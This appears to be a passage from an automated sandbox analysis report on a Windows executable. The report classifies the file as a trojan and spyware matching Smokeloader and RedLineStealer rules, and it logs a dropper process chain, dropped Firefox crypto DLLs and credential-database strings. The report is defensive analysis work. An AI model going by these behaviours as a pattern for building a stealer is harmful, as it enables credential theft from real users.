Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78AC60	0_2_6C78AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C846C00	0_2_6C846C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DECD0	0_2_6C7DECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C85AC30	0_2_6C85AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77ECC0	0_2_6C77ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C816D90	0_2_6C816D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C90CDC0	0_2_6C90CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C908D20	0_2_6C908D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C784DB0	0_2_6C784DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8AAD50	0_2_6C8AAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C84ED70	0_2_6C84ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C806E90	0_2_6C806E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C820EC0	0_2_6C820EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C860E20	0_2_6C860E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78AEC0	0_2_6C78AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81EE70	0_2_6C81EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8C8FB0	0_2_6C8C8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7EEF40	0_2_6C7EEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C786F10	0_2_6C786F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C85EFF0	0_2_6C85EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C780FE0	0_2_6C780FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8C0F20	0_2_6C8C0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78EFB0	0_2_6C78EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C842F70	0_2_6C842F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0820	0_2_6C7D0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8868E0	0_2_6C8868E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C80A820	0_2_6C80A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C854840	0_2_6C854840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B8960	0_2_6C7B8960

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9009D0 appears 69 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00404610 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C70CBE8 appears 134 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6720 -s 2376

Source: file.exe, 00000000.00000002.2521834305.000000006C955000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000000.2043692814.000000000244C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesOdilesigo@ vs file.exe
Source: file.exe, 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000015.00000002.2719081231.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000022.00000002.2994648505.0000000002620000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000019.00000002.2828964278.00000000026F2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2496144397.000000000273D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2495938996.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000015.00000002.2718459013.000000000254D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000019.00000002.2828820044.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000022.00000002.2994271346.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: random[1].exe0.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9997331796448088
Source: random[1].exe.0.dr	Static PE information: Section: hoxupgqj ZLIB complexity 0.9948139948104693
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9997331796448088
Source: RoamingIJEGHJECFC.exe.0.dr	Static PE information: Section: hoxupgqj ZLIB complexity 0.9948139948104693
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9973124574250681
Source: userAAKKKEBFCG.exe.0.dr	Static PE information: Section: zywzqxul ZLIB complexity 0.9946734005177514
Source: explorti.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9997331796448088
Source: explorti.exe.5.dr	Static PE information: Section: hoxupgqj ZLIB complexity 0.9948139948104693
Source: axplong.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9973124574250681
Source: axplong.exe.8.dr	Static PE information: Section: zywzqxul ZLIB complexity 0.9946734005177514

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@47/54@32/10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C737030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C737030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004190A0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Q7H2EQ2W.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4068:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2676:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6720
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5168
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7968
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4744

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe

File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2520671321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2509615425.000000001CBA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2521346401.000000006C90F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2520671321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2509615425.000000001CBA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2521346401.000000006C90F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2520671321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2509615425.000000001CBA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2521346401.000000006C90F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2520671321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2509615425.000000001CBA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2521346401.000000006C90F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000000.00000002.2520671321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2509615425.000000001CBA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2521346401.000000006C90F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2520671321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2509615425.000000001CBA1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2520671321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2509615425.000000001CBA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2521346401.000000006C90F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.2134857222.0000000022C85000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122596582.0000000022C69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2520671321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2509615425.000000001CBA1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2520671321.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2509615425.000000001CBA1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

Virustotal: Detection: 42%

Source: RoamingIJEGHJECFC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: userAAKKKEBFCG.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingIJEGHJECFC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingIJEGHJECFC.exe "C:\Users\user\AppData\RoamingIJEGHJECFC.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAAKKKEBFCG.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userAAKKKEBFCG.exe "C:\Users\userAAKKKEBFCG.exe"
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6720 -s 2376
Source: C:\Users\userAAKKKEBFCG.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe "C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7968 -s 1332
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe "C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe "C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4744 -s 1292
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe "C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe"
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2204 -prefMapHandle 2196 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {37ba41c5-ee86-4e0d-ae50-58ce2311310d} 3712 "\\.\pipe\gecko-crash-server-pipe.3712" 1b10486e910 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe "C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5168 -s 1036
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2200 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2128 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9f4ac7dc-960f-42f4-ad8d-3d9c0af60b93} 2940 "\\.\pipe\gecko-crash-server-pipe.2940" 193b946bd10 socket
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingIJEGHJECFC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAAKKKEBFCG.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingIJEGHJECFC.exe "C:\Users\user\AppData\RoamingIJEGHJECFC.exe"	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userAAKKKEBFCG.exe "C:\Users\userAAKKKEBFCG.exe"	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe "C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe "C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe"
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2204 -prefMapHandle 2196 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {37ba41c5-ee86-4e0d-ae50-58ce2311310d} 3712 "\\.\pipe\gecko-crash-server-pipe.3712" 1b10486e910 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2200 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2128 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9f4ac7dc-960f-42f4-ad8d-3d9c0af60b93} 2940 "\\.\pipe\gecko-crash-server-pipe.2940" 193b946bd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
